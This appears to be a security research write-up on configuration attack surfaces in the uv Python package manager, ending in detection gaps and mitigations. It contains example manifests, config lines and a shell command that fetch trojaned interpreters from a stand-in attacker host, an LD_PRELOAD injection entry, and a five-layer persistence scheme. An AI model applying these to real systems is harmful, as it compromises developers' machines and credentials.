uv is a unified Python package and project manager written in Rust. It replaces pip, pip-tools, pyenv, virtualenv, pipx, and poetry with a single binary: resolving and locking dependencies, managing virtual environments, downloading and caching Python interpreters, building and publishing packages, and running scripts with inline dependencies. Each of those responsibilities comes with configuration. This article documents where that configuration becomes an attack surface, the items discussed were tested against uv 0.11.7.
The Python Interpreter as Attack Surface
When a command requires a Python version that is not installed, uv downloads one automatically from releases.astral.sh, a CDN backed by python-build-standalone. This happens without the user explicitly asking for it. A fresh uv run myscript.py when the right Python version is not installed triggers a download automatically, with a one-line progress message but no prompt for confirmation.
That download process is configurable. One environment variable replaces the entire list of available Python versions:
UV_PYTHON_DOWNLOADS_JSON_URL
When set, uv discards its compiled-in manifest and loads whatever JSON is at the specified URL. No signature is verified. No trust check is performed. The manifest is parsed as JSON and trusted completely. The variable accepts https://, http://, file://, and bare filesystem paths.
The manifest format is a dictionary keyed by platform identifier. Each entry specifies where to download the Python tarball and an optional SHA-256 hash:
{
"cpython-3.13.3-linux-x86_64-gnu": {
"name": "cpython",
"arch": { "family": "x86_64", "variant": null },
"os": "linux",
"libc": "gnu",
"major": 3,
"minor": 13,
"patch": 3,
"prerelease": null,
"url": "https://attacker.example.com/cpython-3.13.3.tar.gz",
"sha256": null,
"variant": null,
"build": null
}
}
The sha256 field is typed Option<String>. Setting it to null skips the integrity check entirely. This is explicit in the source at crates/uv-python/src/downloads.rs:
let mut hashers = if self.sha256.is_some() {
vec![Hasher::from(HashAlgorithm::Sha256)]
} else {
vec![]
};
// ...
if let Some(expected) = self.sha256.as_deref() {
// hash comparison only runs if sha256 was non-null
}
An attacker who controls the manifest controls both the download URL and whether any integrity check runs.
The Install
Running uv python install 3.13.3 with UV_PYTHON_DOWNLOADS_JSON_URL pointing at an attacker-controlled manifest:
Installed Python 3.13.3 in 5ms
+ cpython-3.13.3-linux-x86_64-gnu (python3.13)
There was no indication that anything unusual happened. The installed binary is whatever our URL serves.
What Fires and When
For this example the installed binary is actually a shell script that beacons on invocation and passes through to real Python. Running uv run --python 3.13.3 python3 -c "pass" produces the following before the no-op runs:
[beacon] Malicious Python 3.13 executing as: uid=1000(dev) gid=1000(dev) groups=...
[beacon] Called with args: -I -B -c import sys; ... from python.get_interpreter_info import main; main()
[beacon] Parent process: uv
[beacon] Malicious Python 3.13 executing as: uid=1000(dev) gid=1000(dev) groups=...
[beacon] Called with args: -I -B -c import sys; ... from python.get_interpreter_info import main; main()
[beacon] Parent process: uv
[beacon] Malicious Python 3.13 executing as: uid=1000(dev) gid=1000(dev) groups=...
[beacon] Called with args: -I -B -c import sys; ... from python.get_interpreter_info import main; main()
[beacon] Parent process: uv
The beacon fires three times before user code runs. These are uv’s own internal get_interpreter_info calls, run as part of uv’s environment probe. The parent process is uv in every case, not a Python script. The process tree looks normal.
The nullable sha256 field has been noted independently: issue #18614 (open) identifies that six entries in Astral’s own compiled-in manifest carry sha256: null, and the code path that skips verification is acknowledged. That report concerns the official manifest’s own entries. It does not address the use of python-downloads-json-url to substitute an attacker-controlled manifest, nor the ability to serve an arbitrary binary with integrity checking disabled by construction.
How the Variable Gets Set
UV_PYTHON_DOWNLOADS_JSON_URL is a standard environment variable, but it can also be written into ~/.config/uv/uv.toml:
python-downloads-json-url = "https://attacker.example.com/manifest.json"
Any of the following can inject this value without further privilege:
- A malicious package’s
setup.pywriting to~/.config/uv/uv.toml - A CI environment variable set in a repo-controlled config file
UV_CONFIG_FILEpointing at an attacker-controlled config (described below)
Once in user config, it persists across all future uv invocations for that user until explicitly removed.
The Config File
uv’s user config file is ~/.config/uv/uv.toml. Any code that runs during a package install can write to it. Several keys create persistent attack paths.
find-links and Build Backend Substitution
UV_FIND_LINKS as an environment variable is present in the build subprocess environment but is not consulted by uv’s build dependency resolver. find-links written to ~/.config/uv/uv.toml however, is consulted. When it is set, uv includes that directory when installing build dependencies. Place a setuptools-9999.0.0.whl there and it becomes the build backend for any package that declares setuptools as a build requirement. We tested this with build isolation enabled and no project-level overrides:
Building source distribution...
Building wheel from source distribution...
Successfully built clean-target-1.2.0.tar.gz
Successfully built clean_target-1.2.0-py3-none-any.whl
Build log written by the malicious setuptools:
BUILD BACKEND HIJACKED
Package: clean_target==1.2.0
Beacon: _beacon_clean_target.pth injected
Wheel contents:
clean_target-1.2.0-py3-none-any.whl
_beacon_clean_target.pth <-- INJECTED
_beacon_clean_target.py <-- INJECTED
clean_target/__init__.py
...
The source repository is untouched. The infected file is a build artifact, not tracked by git. The build log reports success.
extra-build-variables: A Legitimate Feature as a Persistence Mechanism
uv.toml supports a key called extra-build-variables. Its intended use is compile-time configuration for packages that need it:
[extra-build-variables.flash-attn]
FLASH_ATTENTION_SKIP_CUDA_BUILD = "TRUE"
The key maps package names to dictionaries of environment variables that are injected into the build subprocess whenever that package is built. Written to ~/.config/uv/uv.toml by a malicious package, it becomes a deferred injection vector.
Package A installs cleanly. During install, its setup.py writes to user config:
[extra-build-variables.cryptography]
LD_PRELOAD = "/home/user/.local/lib/malicious.so"
Nothing happens immediately. Later, when the victim builds cryptography from source:
uv pip install --no-binary cryptography cryptography
The build subprocess receives LD_PRELOAD=/home/user/.local/lib/malicious.so. The dynamic linker loads the attacker’s shared library into the Python process running the build backend. Arbitrary code execution inside an otherwise clean PEP 517 build environment.
Both LD_PRELOAD and an arbitrary marker variable were present in the build subprocess environment, verified by writing them from setup.py during the build.
cryptography is used as an example because it builds a C extension and appears in a large fraction of Python dependency trees. On common platforms (Linux x86_64, macOS arm64), cryptography and most other native-extension packages ship pre-built wheels. extra-build-variables only fires when a package is built from source: via --no-binary, when building a local package with uv pip install -e . or uv build, or on platforms where no wheel exists. The injection survives the original malicious package being uninstalled, survives cache clears, survives everything short of someone auditing ~/.config/uv/uv.toml directly. The most reliable trigger in practice is a developer who builds their own packages from source in their own infected environment.
Other variables worth injecting: PYTHONPATH (module hijacking inside the build backend), CC/CFLAGS/LDFLAGS (flags injected into any C compilation during build), and cloud credential variables if the build process makes network calls.
At /etc/uv/uv.toml, the same key affects every user on the system who builds the targeted package.
UV_CONFIG_FILE and UV_PYTHON_INSTALL_MIRROR
When UV_CONFIG_FILE is set, uv discards all three config sources simultaneously: project-level uv.toml, user config at ~/.config/uv/uv.toml, and system config at /etc/uv/uv.toml. Only the file at the specified path loads. A CI job where UV_CONFIG_FILE points at a repo-controlled path is fully attacker-controlled for the duration of the run, with no residue from any legitimate settings.
UV_PYTHON_INSTALL_MIRROR affects the Python download path rather than package installs. Where UV_PYTHON_DOWNLOADS_JSON_URL replaces the entire manifest, UV_PYTHON_INSTALL_MIRROR replaces only the download base URL, leaving the manifest entries intact. Unlike the default Astral CDN, a user-configured mirror has no fallback. If the mirror is set and the server returns any error, the install fails with no automatic retry against the real CDN. Combined with UV_PYTHON_DOWNLOADS_JSON_URL pointing at a manifest with sha256: null, a single HTTP server provides both the manifest and the malicious Python binary:
UV_PYTHON_INSTALL_MIRROR=http://attacker.example.com \
UV_PYTHON_DOWNLOADS_JSON_URL=http://attacker.example.com/manifest.json \
uv python install 3.13.3
Interpreter Cache Poisoning
uv caches interpreter metadata to avoid invoking the Python binary on every command. The cache lives at:
~/.cache/uv/interpreter-v4/{shard}/{file}.msgpack
The shard key is SeaHash(ARCH, OsType, OsRelease), identical for every interpreter on the same host. The file key is SeaHash(absolute_path, canonical_path), deterministic per binary and fully computable from the filesystem. An attacker can compute and write the correct cache file for any interpreter path, including /usr/bin/python3 even if uv has never queried it, without running the binary at all. Validation on cache read is mtime comparison only: if the cache file’s mtime on disk is newer than or equal to the binary’s mtime on disk, the cached data is used unconditionally. Any code running as the target user can read, modify, and write back a cache entry while preserving the mtime.
The cached data includes python_full_version (reported by uv python list and evaluated against requires-python), implementation_version (used for resolution), site-packages paths (used to locate installed packages), and sys_executable (used as the base Python when creating virtual environments).
Testing confirmed two distinct but complementary impacts:
Version confusion. Poisoning python_full_version and implementation_version to 3.13.99 in the cache entry for a Python 3.13.13 installation causes uv to use the fake version for all resolution decisions. uv python list reports cpython-3.13.99. A project with requires-python = ">=3.13.50" that should fail version compatibility passes:
Using CPython 3.13.99
Resolved 1 package in 0.63ms
Installed 1 package in 2ms
+ version-check-canary==1.0.0
Real Python is 3.13.13. The package was installed. The binary was never queried. Version confusion applies to any interpreter whose cache entry has been poisoned, including uv-managed Pythons. The cache is user-scoped; only the target user’s uv session is affected. Plain uv venv with no flags reports the fake version.
Venv base substitution (code execution). Poisoning sys_executable and sys_base_executable to a controlled path causes uv to use that path as the Python binary when creating a virtual environment. For a system Python not in uv’s managed installation directory (e.g., /usr/bin/python3), there is no fallback: uv sets the venv’s bin/python symlink to the attacker-controlled path.
$ uv venv --python /usr/bin/python3
Using CPython 3.12.99 interpreter at: /tmp/attacker-beacon-link
Creating virtual environment at: .venv
$ ls -la .venv/bin/python
lrwxrwxrwx .venv/bin/python -> /tmp/attacker-beacon-link
Every python invocation in the venv executes the attacker’s binary before real Python runs. The attacker’s binary can read credentials, establish persistence, or exec a payload, then hand off to real Python so nothing appears broken:
$ .venv/bin/python --version
Python 3.12.3
For uv-managed Pythons in ~/.local/share/uv/python/, the venv substitution is blocked: when uv resolves the poisoned sys_executable and the canonical path does not fall under the managed installation directory, it substitutes the real managed path for the venv symlink. This constraint is specific to venv creation. The version string is always read from the cache file; version confusion applies to managed Pythons the same as any other interpreter. System Pythons have no managed directory association, so neither constraint applies: both attacks land.
Both mutations apply to every cache entry and can be written in a single pass. uv accumulates one cache file per unique invocation path for each interpreter; a single managed Python binary produced 30+ distinct cache entries during normal use. Poisoning all entries simultaneously covers whichever key uv computes at runtime. Version confusion lands on every uv command that user runs, regardless of which Python is in use. Venv base substitution lands on every operation that creates a new venv against a system Python: uv venv, uv sync, and uv run in a project directory without an existing .venv. A developer who never explicitly calls uv venv is still exposed the first time they run uv run or uv sync in a freshly cloned project.
The prerequisite for both impacts is any code execution as the target user: a .pth file installed by a package, a usercustomize.py, or any other user-level execution. The cache is at ~/.cache/uv/, writable by that user. A malicious package poisons every entry it finds and exits. No elevated privileges required. The poison survives reboots and package reinstalls; uv cache clean clears it, but nothing in the clean output indicates that poisoned entries were present.
There is no uv cache integrity command. The cache directory is not visible in uv python list output. The only way to verify a cache entry is to compute the expected key from first principles, read the msgpack file, and compare the fields manually.
Prior reports on uv’s issue tracker labeled “cache poisoning” (issues #13984 and #10896, both closed) concern accidental cross-architecture contamination from shared build artifacts and hardlinked cache files: unintended consequences of normal use, not security attacks. The sys_executable substitution and version confusion attacks described here have not been reported.
Other Surfaces
Inline script index URLs. uv supports PEP 723 inline script metadata. A script can declare its own dependencies and a custom index:
# /// script
# dependencies = ["requests"]
# [tool.uv.index]
# url = "https://attacker.example.com/simple"
# ///
When run with uv run myscript.py, uv installs from the specified index without prompting. A script shared as a gist, a Slack snippet, or copied from documentation installs its dependencies from wherever the metadata block says. The URL travels with the script.
uv run --env-file and child process inheritance. uv run --env-file .env loads variables into the subprocess environment. They do not affect the parent uv process. --with dependency resolution and Python downloads happen before the env file is applied. What they do affect is any child uv process the script invokes. We tested this with UV_INDEX_URL=https://attacker.example.com/simple in a .env file: the parent uv resolved packages from the real index, but a uv pip install call made from inside the running script attempted to connect to attacker.example.com. Confirmed via DNS failure. A malicious repo ships a .env with a controlled UV_INDEX_URL and documents uv run --env-file .env build.py. Any build script that shells out to uv installs from the attacker’s index.
Credentials at rest. uv auth login stores registry credentials at ~/.local/share/uv/credentials/credentials.toml in plaintext TOML. A malicious setup.py can read them directly, no network capture required.
Lock file DoS on shared systems. When building a setuptools package, uv acquires a flock-based lock at /tmp/uv-setuptools-{hash}.lock to prevent concurrent builds from the same source tree from corrupting each other’s egg-info. The hash is SeaHash(canonical_source_path) stored as little-endian hex, deterministic across all runs. The file is explicitly fchmod’d to 0666 before being renamed into place. The source comment explains why: “We must set permissions after creating the file, to override the umask.” The intent is multi-user lock sharing in a shared /tmp. On a shared CI runner or multi-user host, any user can pre-create the file and hold an exclusive flock on it. The victim’s build blocks for up to UV_LOCK_TIMEOUT seconds (default 300), then logs a warning and proceeds without the lock. Only setuptools source builds take this lock; wheel installs do not. The 0666 permissions have been flagged independently (issue #16769, open); the predictable filename computation and the cross-user flock attack have not.
Persistence and Reinstatement
The attack surfaces above do not operate in isolation. Five components, each independently plantable by a malicious package install, combine into a self-reinstating structure where removing any single component triggers reinstatement from a different one before the defender’s session ends.
Layer 1: Interpreter cache poison. Every .msgpack entry in ~/.cache/uv/interpreter-v4/{shard}/ is rewritten to substitute sys_executable with a symlink to a C beacon ELF and to inflate python_full_version and implementation_version to a fake version string. The write preserves the file’s mtime, passing uv’s only validation. All entries in the shard are poisoned in one pass; a single managed Python binary accumulated 30+ distinct cache entries during normal use across different invocation paths. When uv venv runs against a system Python, bin/python symlinks to the beacon. Every Python invocation in that venv executes attacker code before real Python runs.
Layer 2: find-links in ~/.config/uv/uv.toml. A setuptools-9999.0.0.whl with a modified build backend sits in the find-links directory. Any uv build that user runs which declares setuptools as a build requirement installs it from find-links and injects a .pth beacon into the produced wheel. The source repository is untouched. The infected file is a build artifact, not tracked by git.
Layer 3: extra-build-variables in ~/.config/uv/uv.toml. LD_PRELOAD is set per targeted package (cryptography, numpy by default) to a shared object beacon. Any source build of the targeted package loads the beacon into the build subprocess. Confirmed at both user config level (~/.config/uv/uv.toml) and system config level (/etc/uv/uv.toml). At system level, any user on the system who builds the targeted package from source receives the injection; no per-user configuration required. In practice, this fires most reliably in developer environments where packages are built from source (editable installs, CI builds without binary caches, local package development). Standard installs grab pre-built wheels on common platforms and do not trigger it.
Layer 4: python-downloads-json-url in ~/.config/uv/uv.toml. Points at a local manifest server. The server rewrites uv’s compiled-in manifest to redirect download URLs to localhost, injects a fake cpython-3.99.0 entry with sha256: null, and serves a trojaned tarball. uv python install 3.99.0 completes with no warnings. The installed binary fires three times per uv run on uv’s own internal get_interpreter_info probes, before user code runs, with parent process uv in every case.
Layer 5: usercustomize.py reinstatement engine. Installed to ~/.local/lib/pythonX.Y/site-packages/usercustomize.py, it fires on every direct Python invocation with user site-packages enabled, including python3 -m pip. On each run it checks whether uv.toml contains the required entries and whether each cache entry points at the beacon, and rewrites them if not. It carries an inline msgpack implementation with no external dependencies. One scope limit: uv build and uv pip install run build subprocesses in fully isolated virtual environments that do not load from user site-packages, so the engine does not fire there. It activates on direct python3 invocations outside of venvs, and inside venvs pre-infected by the venv injection variant, which drops usercustomize.py directly into a venv’s own lib/pythonX.Y/site-packages/. That causes it to fire on every Python invocation inside the venv regardless of whether user site-packages are enabled, confirmed with include-system-site-packages = false.
Reinstatement Matrix
| What the defender does | Reinstated by |
|---|---|
Remove ~/.config/uv/uv.toml | Layer 5 on next python3 call |
uv cache clean | Layer 5 re-poisons cache on next python3 call |
| Delete trojaned Python | Layer 4 reinstalls on next uv python install |
Remove usercustomize.py | Layer 1 (beacon venv) on next invocation through a poisoned venv: beacon execs real Python which re-drops it |
Complete remediation requires all of the following in sequence: remove ~/.config/uv/uv.toml, remove all usercustomize.py instances under ~/.local/lib/ and in any venv’s lib/ directory, delete ~/.local/share/uv/python/cpython-3.99.0-*, delete ~/.cache/uv/interpreter-v4/ in full, and verify no venv’s bin/python symlinks to the beacon path. uv python list shows no hashes. uv cache list does not enumerate interpreter cache entries. The verification step itself must use a clean Python binary; any interpreter that has been used to create a venv in the compromised user environment should be treated as untrusted until the cache has been rebuilt and venv symlinks verified.
Detection Gaps
| What to look for | What is missed |
|---|---|
index-url in ~/.config/uv/uv.toml | python-downloads-json-url, find-links, extra-build-variables are absent from standard audit checklists |
uv python list | lists installed versions with no provenance; no hash, no source URL shown |
| Process tree during uv run | malicious Python beacon fires with parent uv, not a Python script; nothing anomalous in the tree |
| Build output and logs | extra-build-variables injections are silent; no log line indicates environment variables were set |
| Source code review | beacon is in the wheel, not the repo; git diff shows nothing |
| Checking pip.conf equivalent | uv has no config list equivalent; no single command shows the effective resolved configuration |
Monitoring /tmp for anomalies | uv-setuptools-*.lock files in /tmp are normal build artifacts; an attacker holding one for an extended period looks like normal lock contention |
Auditing ~/.cache/uv/ | ~/.cache/uv/interpreter-v4/ contains msgpack files with no human-readable names; no uv command reads or reports their content; a poisoned entry is invisible to all standard uv output |
The Python binary hijacking finding is difficult to detect after installation. uv python list shows version cpython-3.13.3 with no indication of where the binary came from. The installed binary looks like a normal executable. The only reliable check is hashing the file against the published checksums from the python-build-standalone release.
Mitigations
For UV_PYTHON_DOWNLOADS_JSON_URL: In CI, set UV_PYTHON_DOWNLOADS=never to prevent automatic Python downloads entirely. Audit ~/.config/uv/uv.toml for the python-downloads-json-url key after any package install that built from source. If Python downloads are required, pin the specific version and verify the binary hash against python-build-standalone’s published release checksums.
For find-links and extra-build-variables in uv.toml: Monitor ~/.config/uv/uv.toml for either key. Neither has legitimate use in most developer environments or CI pipelines outside of specific ML/CUDA builds. Presence after a package install is an indicator of compromise. Make the file read-only after initial configuration where possible.
For UV_CONFIG_FILE and UV_PYTHON_INSTALL_MIRROR: Audit CI pipeline definitions for both variables the same way you would audit for PIP_CONFIG_FILE. A UV_CONFIG_FILE pointing at a repo-controlled path is complete attacker control of uv’s configuration for that run. A UV_PYTHON_INSTALL_MIRROR value that you did not set is a Python binary you did not verify.
For inline scripts: Treat uv run <external-script> the same way you would treat executing an arbitrary shell script. The metadata comment block is code.
For interpreter cache poisoning: There is no uv command to audit cache entries. After a suspected compromise, delete ~/.cache/uv/interpreter-v4/ in full. uv will re-query each interpreter on next use and rebuild the cache from the live binaries. If the compromise included sys_executable substitution, verify that no existing venvs have their bin/python pointing to unexpected paths: find ~/.venvs /path/to/project/.venv -name python -type l -exec readlink -f {} \; and confirm each target resolves to a known interpreter location.
Conclusion
uv consolidated various tools into one binary. The configuration that drives it reflects that scope: a single file controls interpreter downloads, build environments, dependency sources, credentials, and script execution. Any of those keys written by a malicious package persists and operates across almost everything that user runs afterward.
The attack surfaces documented here are largely absent from standard audit checklists. Some were unknown before this research or would be considered a feature. None of them require elevated privileges, and most survive the remediation steps users reach for first.